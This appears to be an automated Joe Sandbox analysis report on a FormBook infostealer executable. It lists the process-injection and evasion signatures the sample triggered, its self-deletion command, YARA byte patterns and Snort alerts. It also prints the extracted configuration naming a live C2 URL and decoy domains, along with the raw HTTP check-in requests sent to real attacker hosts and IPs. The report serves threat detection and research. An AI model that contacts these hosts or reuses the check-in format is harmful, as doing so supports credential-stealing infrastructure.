Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
mQY9ka5sW6hv2Ri.exe

Overview

General Information

Sample name:mQY9ka5sW6hv2Ri.exe
Analysis ID:1465619
MD5:e97620420d37596704d9f4fa70303453
SHA1:533b98b289ba07c446f8350950fdbee2ab39dcf2
SHA256:a5a3067e6a3c4e957152655df5c68ce4db77f8308feff43c53e7535031033be5
Tags:exe
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected AntiVM3
Yara detected FormBook
.NET source code contains potential unpacker
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Found direct / indirect Syscall (likely to bypass EDR)
Injects a PE file into a foreign processes
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Performs DNS queries to domains with low reputation
Queues an APC in another process (thread injection)
Sample uses process hollowing technique
Switches to a custom stack to bypass stack traces
Tries to detect virtualization through RDTSC time measurements
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • mQY9ka5sW6hv2Ri.exe (PID: 6912 cmdline: "C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe" MD5: E97620420D37596704D9F4FA70303453)
    • mQY9ka5sW6hv2Ri.exe (PID: 5684 cmdline: "C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe" MD5: E97620420D37596704D9F4FA70303453)
    • mQY9ka5sW6hv2Ri.exe (PID: 3744 cmdline: "C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe" MD5: E97620420D37596704D9F4FA70303453)
    • mQY9ka5sW6hv2Ri.exe (PID: 2676 cmdline: "C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe" MD5: E97620420D37596704D9F4FA70303453)
      • explorer.exe (PID: 2580 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)
        • msdt.exe (PID: 6956 cmdline: "C:\Windows\SysWOW64\msdt.exe" MD5: BAA4458E429E7C906560FE4541ADFCFB)
          • cmd.exe (PID: 6908 cmdline: /c del "C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • conhost.exe (PID: 3488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.cpuk-finance.com/dy13/"], "decoy": ["manga-house.com", "kjsdhklssk51.xyz", "b0ba138.xyz", "bt365033.com", "ccbsinc.net", "mrwine.xyz", "nrxkrd527o.xyz", "hoshi.social", "1912ai.com", "serco2020.com", "byfchfyr.xyz", "imuschestvostorgov.online", "austinheafey.com", "mrdfa.club", "883106.photos", "profitablefxmarkets.com", "taini00.net", "brye.top", "ginsm.com", "sportglid.com", "hdretailllc.com", "umeshraja.com", "bum-arch.com", "carefulapp.com", "kjqlq.top", "3dsciagames.com", "520yhy.com", "magahatinu.com", "freedompopo.com", "directgaragedoor.com", "tyupok.xyz", "thecrystore.com", "camperelektrikde.shop", "soloparentconnect.com", "sonderfullcoaching.com", "jesuscrewofficial.com", "oioc.xyz", "assineunitv.com", "whysco.com", "484844.vip", "gdctus840t.top", "acc-pay.top", "bdsmnutzbar.info", "sdplat.media", "cioncarp4213.com", "facecasino2.top", "bankablebark.com", "gulerweb.online", "radheyranidailyproduct.com", "fin4d-sl.com", "northshorehousekeeping.com", "femmeteefatale.com", "d0ge6or54x07cfn.xyz", "craftwhirl.com", "kgfna.biz", "real-estate-96841.bond", "cfuhtkwo.xyz", "nestormediaproduction.com", "txglobedev.com", "kermoal.dev", "yr8gl32.vip", "bathroomremodelnearyou.today", "nearmeacupuncture.com", "chicstop.store"]}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000005.00000002.4103236234.000000000FBD4000.00000040.80000000.00040000.00000000.sdmpWindows_Trojan_Formbook_772cc62dunknownunknown
  • 0xaf2:$a2: pass
  • 0xaf8:$a3: email
  • 0xaff:$a4: login
  • 0xb06:$a5: signin
  • 0xb17:$a6: persistent
  • 0xcea:$r1: C:\Users\user\AppData\Roaming\4L9345VB\4L9log.ini
00000006.00000002.4091352522.0000000000800000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBookYara detected FormBookJoe Security
    00000006.00000002.4091352522.0000000000800000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000006.00000002.4091352522.0000000000800000.00000040.80000000.00040000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
      • 0x6251:$a1: 3C 30 50 4F 53 54 74 09 40
      • 0x1cbc0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
      • 0xa9cf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
      • 0x158b7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
      00000006.00000002.4091352522.0000000000800000.00000040.80000000.00040000.00000000.sdmpFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
      • 0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
      • 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
      • 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
      • 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
      • 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
      • 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
      • 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
      • 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
      • 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D
      • 0x1b927:$sequence_8: 3C 54 74 04 3C 74 75 F4
      • 0x1c92a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
      Click to see the 25 entries

      Unpacked PEs

      SourceRuleDescriptionAuthorStrings
      4.2.mQY9ka5sW6hv2Ri.exe.400000.0.unpackJoeSecurity_FormBookYara detected FormBookJoe Security
        4.2.mQY9ka5sW6hv2Ri.exe.400000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          4.2.mQY9ka5sW6hv2Ri.exe.400000.0.unpackWindows_Trojan_Formbook_1112e116unknownunknown
          • 0x5451:$a1: 3C 30 50 4F 53 54 74 09 40
          • 0x1bdc0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
          • 0x9bcf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
          • 0x14ab7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
          4.2.mQY9ka5sW6hv2Ri.exe.400000.0.unpackFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
          • 0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
          • 0x8d82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
          • 0x148b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
          • 0x143a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
          • 0x149b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
          • 0x14b2f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
          • 0x979a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
          • 0x1361c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
          • 0xa493:$sequence_7: 66 89 0C 02 5B 8B E5 5D
          • 0x1ab27:$sequence_8: 3C 54 74 04 3C 74 75 F4
          • 0x1bb2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
          4.2.mQY9ka5sW6hv2Ri.exe.400000.0.unpackFormbookdetect Formbook in memoryJPCERT/CC Incident Response Group
          • 0x17a49:$sqlite3step: 68 34 1C 7B E1
          • 0x17b5c:$sqlite3step: 68 34 1C 7B E1
          • 0x17a78:$sqlite3text: 68 38 2A 90 C5
          • 0x17b9d:$sqlite3text: 68 38 2A 90 C5
          • 0x17a8b:$sqlite3blob: 68 53 D8 7F 8C
          • 0x17bb3:$sqlite3blob: 68 53 D8 7F 8C
          Click to see the 5 entries

          Sigma Signatures

          ⊘No Sigma rule has matched

          Snort Signatures

          Timestamp:07/01/24-21:26:17.877094
          SID:2031412
          Source Port:49743
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected
          Timestamp:07/01/24-21:25:38.909975
          SID:2031412
          Source Port:49741
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected
          Timestamp:07/01/24-21:28:41.127357
          SID:2031412
          Source Port:49748
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected
          Timestamp:07/01/24-21:26:37.917250
          SID:2031412
          Source Port:49744
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected
          Timestamp:07/01/24-21:27:39.306121
          SID:2031412
          Source Port:49746
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected
          Timestamp:07/01/24-21:28:20.132765
          SID:2031412
          Source Port:49747
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected
          Timestamp:07/01/24-21:26:58.313160
          SID:2031412
          Source Port:49745
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected

          Joe Sandbox Signatures

          Click to jump to signature section

          Show All Signature Results

          AV Detection

          barindex
          Antivirus / Scanner detection for submitted sample
          Source: mQY9ka5sW6hv2Ri.exeAvira: detected
          Found malware configuration
          Source: 00000006.00000002.4091996606.0000000004650000.00000004.00000800.00020000.00000000.sdmpMalware Configuration Extractor: FormBook {"C2 list": ["www.cpuk-finance.com/dy13/"], "decoy": ["manga-house.com", "kjsdhklssk51.xyz", "b0ba138.xyz", "bt365033.com", "ccbsinc.net", "mrwine.xyz", "nrxkrd527o.xyz", "hoshi.social", "1912ai.com", "serco2020.com", "byfchfyr.xyz", "imuschestvostorgov.online", "austinheafey.com", "mrdfa.club", "883106.photos", "profitablefxmarkets.com", "taini00.net", "brye.top", "ginsm.com", "sportglid.com", "hdretailllc.com", "umeshraja.com", "bum-arch.com", "carefulapp.com", "kjqlq.top", "3dsciagames.com", "520yhy.com", "magahatinu.com", "freedompopo.com", "directgaragedoor.com", "tyupok.xyz", "thecrystore.com", "camperelektrikde.shop", "soloparentconnect.com", "sonderfullcoaching.com", "jesuscrewofficial.com", "oioc.xyz", "assineunitv.com", "whysco.com", "484844.vip", "gdctus840t.top", "acc-pay.top", "bdsmnutzbar.info", "sdplat.media", "cioncarp4213.com", "facecasino2.top", "bankablebark.com", "gulerweb.online", "radheyranidailyproduct.com", "fin4d-sl.com", "northshorehousekeeping.com", "femmeteefatale.com", "d0ge6or54x07cfn.xyz", "craftwhirl.com", "kgfna.biz", "real-estate-96841.bond", "cfuhtkwo.xyz", "nestormediaproduction.com", "txglobedev.com", "kermoal.dev", "yr8gl32.vip", "bathroomremodelnearyou.today", "nearmeacupuncture.com", "chicstop.store"]}
          Multi AV Scanner detection for submitted file
          Source: mQY9ka5sW6hv2Ri.exeReversingLabs: Detection: 31%
          Yara detected FormBook
          Source: Yara matchFile source: 4.2.mQY9ka5sW6hv2Ri.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 4.2.mQY9ka5sW6hv2Ri.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000006.00000002.4091352522.0000000000800000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000006.00000002.4091996606.0000000004650000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.1771101612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000006.00000002.4091719375.0000000002E20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.1660916542.0000000003B59000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          AI detected suspicious sample
          Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
          Machine Learning detection for sample
          Source: mQY9ka5sW6hv2Ri.exeJoe Sandbox ML: detected
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_008AAFB8 CertGetCertificateContextProperty,GetLastError,CryptHashCertificate,GetLastError,GetLastError,CertFreeCertificateContext,6_2_008AAFB8
          Source: mQY9ka5sW6hv2Ri.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
          Source: mQY9ka5sW6hv2Ri.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
          Source: Binary string: msdt.pdbGCTL source: mQY9ka5sW6hv2Ri.exe, 00000004.00000002.1771720567.00000000010F0000.00000040.10000000.00040000.00000000.sdmp, msdt.exe, 00000006.00000002.4091465372.0000000000870000.00000040.80000000.00040000.00000000.sdmp
          Source: Binary string: wntdll.pdbUGP source: mQY9ka5sW6hv2Ri.exe, 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, msdt.exe, 00000006.00000003.1771716252.00000000046B8000.00000004.00000020.00020000.00000000.sdmp, msdt.exe, 00000006.00000003.1773310292.0000000004863000.00000004.00000020.00020000.00000000.sdmp, msdt.exe, 00000006.00000002.4092239644.0000000004BAE000.00000040.00001000.00020000.00000000.sdmp, msdt.exe, 00000006.00000002.4092239644.0000000004A10000.00000040.00001000.00020000.00000000.sdmp
          Source: Binary string: wntdll.pdb source: mQY9ka5sW6hv2Ri.exe, mQY9ka5sW6hv2Ri.exe, 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, msdt.exe, msdt.exe, 00000006.00000003.1771716252.00000000046B8000.00000004.00000020.00020000.00000000.sdmp, msdt.exe, 00000006.00000003.1773310292.0000000004863000.00000004.00000020.00020000.00000000.sdmp, msdt.exe, 00000006.00000002.4092239644.0000000004BAE000.00000040.00001000.00020000.00000000.sdmp, msdt.exe, 00000006.00000002.4092239644.0000000004A10000.00000040.00001000.00020000.00000000.sdmp
          Source: Binary string: msdt.pdb source: mQY9ka5sW6hv2Ri.exe, 00000004.00000002.1771720567.00000000010F0000.00000040.10000000.00040000.00000000.sdmp, msdt.exe, msdt.exe, 00000006.00000002.4091465372.0000000000870000.00000040.80000000.00040000.00000000.sdmp
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_008B60A8 memset,GetProcessHeap,HeapAlloc,FindFirstFileW,GetProcessHeap,HeapAlloc,GetLastError,FindClose,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,6_2_008B60A8
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_008A602D GetProcessHeap,HeapAlloc,FindFirstFileW,_wcsicmp,_wcsicmp,SetFileAttributesW,GetLastError,DeleteFileW,GetLastError,FindNextFileW,FindClose,RemoveDirectoryW,GetLastError,GetProcessHeap,HeapFree,6_2_008A602D
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_008A1B92 memset,GetProcessHeap,HeapAlloc,FindFirstFileW,_wcsicmp,_wcsicmp,FindNextFileW,FindClose,GetLastError,GetProcessHeap,HeapFree,6_2_008A1B92
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_008A4CB6 memset,GetProcessHeap,HeapAlloc,FindFirstFileW,_wcsicmp,_wcsicmp,FindNextFileW,FindClose,GetLastError,GetProcessHeap,HeapFree,6_2_008A4CB6
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_008A5C20 memset,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,CloseHandle,FindFirstFileW,_wcsicmp,_wcsicmp,GetFileAttributesW,SetFileAttributesW,GetLastError,GetFileAttributesW,SetFileAttributesW,GetLastError,DeleteFileW,CreateFileW,GetLastError,CloseHandle,FindNextFileW,FindClose,GetLastError,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,CloseHandle,CloseHandle,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,6_2_008A5C20
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_008B743A memset,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,FindFirstFileW,_wcsicmp,_wcsicmp,CopyFileW,GetLastError,FindNextFileW,FindClose,GetLastError,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,6_2_008B743A
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_008A4EDC memset,GetProcessHeap,HeapAlloc,FindFirstFileW,_wcsicmp,_wcsicmp,FindNextFileW,FindClose,GetLastError,GetProcessHeap,HeapFree,6_2_008A4EDC
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4x nop then pop ebx4_2_00407B26
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 4x nop then pop ebx6_2_00807B26

          Networking

          barindex
          Snort IDS alert for network traffic
          Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49741 -> 185.53.179.90:80
          Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49743 -> 3.226.182.14:80
          Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49744 -> 3.33.130.190:80
          Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49745 -> 104.21.74.89:80
          Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49746 -> 185.151.30.212:80
          Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49747 -> 3.33.130.190:80
          Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49748 -> 147.92.43.172:80
          System process connects to network (likely due to code injection or exploit)
          Source: C:\Windows\explorer.exeNetwork Connect: 3.226.182.14 80Jump to behavior
          Source: C:\Windows\explorer.exeNetwork Connect: 185.53.179.90 80Jump to behavior
          Source: C:\Windows\explorer.exeNetwork Connect: 185.151.30.212 80Jump to behavior
          Source: C:\Windows\explorer.exeNetwork Connect: 147.92.43.172 80Jump to behavior
          Source: C:\Windows\explorer.exeNetwork Connect: 3.33.130.190 80Jump to behavior
          Source: C:\Windows\explorer.exeNetwork Connect: 104.21.74.89 80Jump to behavior
          C2 URLs / IPs found in malware configuration
          Source: Malware configuration extractorURLs: www.cpuk-finance.com/dy13/
          Performs DNS queries to domains with low reputation
          Source: DNS query: www.b0ba138.xyz
          Source: global trafficHTTP traffic detected: GET /dy13/?Cj9LK=8pm41D0p&0N=QEHoM+aYI3hCf+czBdOSz9RRIKYxAFZVZwkeDGKMWY6YfTbawsJCAKRBbAifn9DzIiC0 HTTP/1.1Host: www.real-estate-96841.bondConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /dy13/?Cj9LK=8pm41D0p&0N=ZKZE34nO5+VJCQ7V97/Oxkx+yV2XZDJ4QNe5btj3ut8Iv1OZ3MT37vqx38H3jKbLJXyY HTTP/1.1Host: www.sdplat.mediaConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /dy13/?0N=KHSNHic8JLxjXMUSHETQCf7bHtnol1DEJErUxVAiAFyfNffMOGuO7wY/4dfl/zB0OOAe&Cj9LK=8pm41D0p HTTP/1.1Host: www.soloparentconnect.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /dy13/?Cj9LK=8pm41D0p&0N=LVVXn+3XMgScWvA+gustfxAGGBCnrJhvM+qFjqFs2KSrXwfcw3kbTxGlCeyN42Y88s8h HTTP/1.1Host: www.b0ba138.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /dy13/?Cj9LK=8pm41D0p&0N=gDxxMnt83apdqDd0VF+A3hDmBOM78/3mfYHyjE1VNrqBuQQdV+RDpqUMPHOMA9Jp0yBU HTTP/1.1Host: www.cpuk-finance.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /dy13/?Cj9LK=8pm41D0p&0N=LqTJXJ5089mrTceMc0p83ZaAEN5I+KgWBnSPa3/fnIguC6SsnRdV26ZHA6opskXgqsBG HTTP/1.1Host: www.umeshraja.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /dy13/?0N=AG4Ye1FrkmCiFPqbKlnZ1dM6YK/DoI/B/9McINMFJI+SypkU6UbY406xkx1Fqy5gp249&Cj9LK=8pm41D0p HTTP/1.1Host: www.883106.photosConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: Joe Sandbox ViewIP Address: 3.226.182.14 3.226.182.14
          Source: Joe Sandbox ViewIP Address: 185.53.179.90 185.53.179.90
          Source: Joe Sandbox ViewASN Name: AMAZON-AESUS AMAZON-AESUS
          Source: Joe Sandbox ViewASN Name: TEAMINTERNET-ASDE TEAMINTERNET-ASDE
          Source: Joe Sandbox ViewASN Name: TWENTYIGB TWENTYIGB
          Source: Joe Sandbox ViewASN Name: AMAZONEXPANSIONGB AMAZONEXPANSIONGB
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: C:\Windows\explorer.exeCode function: 5_2_0FBBCF82 getaddrinfo,setsockopt,recv,5_2_0FBBCF82
          Source: global trafficHTTP traffic detected: GET /dy13/?Cj9LK=8pm41D0p&0N=QEHoM+aYI3hCf+czBdOSz9RRIKYxAFZVZwkeDGKMWY6YfTbawsJCAKRBbAifn9DzIiC0 HTTP/1.1Host: www.real-estate-96841.bondConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /dy13/?Cj9LK=8pm41D0p&0N=ZKZE34nO5+VJCQ7V97/Oxkx+yV2XZDJ4QNe5btj3ut8Iv1OZ3MT37vqx38H3jKbLJXyY HTTP/1.1Host: www.sdplat.mediaConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /dy13/?0N=KHSNHic8JLxjXMUSHETQCf7bHtnol1DEJErUxVAiAFyfNffMOGuO7wY/4dfl/zB0OOAe&Cj9LK=8pm41D0p HTTP/1.1Host: www.soloparentconnect.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /dy13/?Cj9LK=8pm41D0p&0N=LVVXn+3XMgScWvA+gustfxAGGBCnrJhvM+qFjqFs2KSrXwfcw3kbTxGlCeyN42Y88s8h HTTP/1.1Host: www.b0ba138.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /dy13/?Cj9LK=8pm41D0p&0N=gDxxMnt83apdqDd0VF+A3hDmBOM78/3mfYHyjE1VNrqBuQQdV+RDpqUMPHOMA9Jp0yBU HTTP/1.1Host: www.cpuk-finance.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /dy13/?Cj9LK=8pm41D0p&0N=LqTJXJ5089mrTceMc0p83ZaAEN5I+KgWBnSPa3/fnIguC6SsnRdV26ZHA6opskXgqsBG HTTP/1.1Host: www.umeshraja.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /dy13/?0N=AG4Ye1FrkmCiFPqbKlnZ1dM6YK/DoI/B/9McINMFJI+SypkU6UbY406xkx1Fqy5gp249&Cj9LK=8pm41D0p HTTP/1.1Host: www.883106.photosConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficDNS traffic detected: DNS query: www.real-estate-96841.bond
          Source: global trafficDNS traffic detected: DNS query: www.taini00.net
          Source: global trafficDNS traffic detected: DNS query: www.sdplat.media
          Source: global trafficDNS traffic detected: DNS query: www.soloparentconnect.com
          Source: global trafficDNS traffic detected: DNS query: www.b0ba138.xyz
          Source: global trafficDNS traffic detected: DNS query: www.imuschestvostorgov.online
          Source: global trafficDNS traffic detected: DNS query: www.cpuk-finance.com
          Source: global trafficDNS traffic detected: DNS query: www.acc-pay.top
          Source: global trafficDNS traffic detected: DNS query: www.umeshraja.com
          Source: global trafficDNS traffic detected: DNS query: www.883106.photos
          Source: global trafficDNS traffic detected: DNS query: www.484844.vip
          Source: explorer.exe, 00000005.00000000.1665871823.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4095689522.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105812901.0000000009830000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3426278192.0000000009833000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
          Source: explorer.exe, 00000005.00000000.1665871823.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4095689522.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105812901.0000000009830000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3426278192.0000000009833000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
          Source: explorer.exe, 00000005.00000000.1665871823.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4095689522.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105812901.0000000009830000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3426278192.0000000009833000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
          Source: explorer.exe, 00000005.00000000.1665871823.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4095689522.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105812901.0000000009830000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3426278192.0000000009833000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0
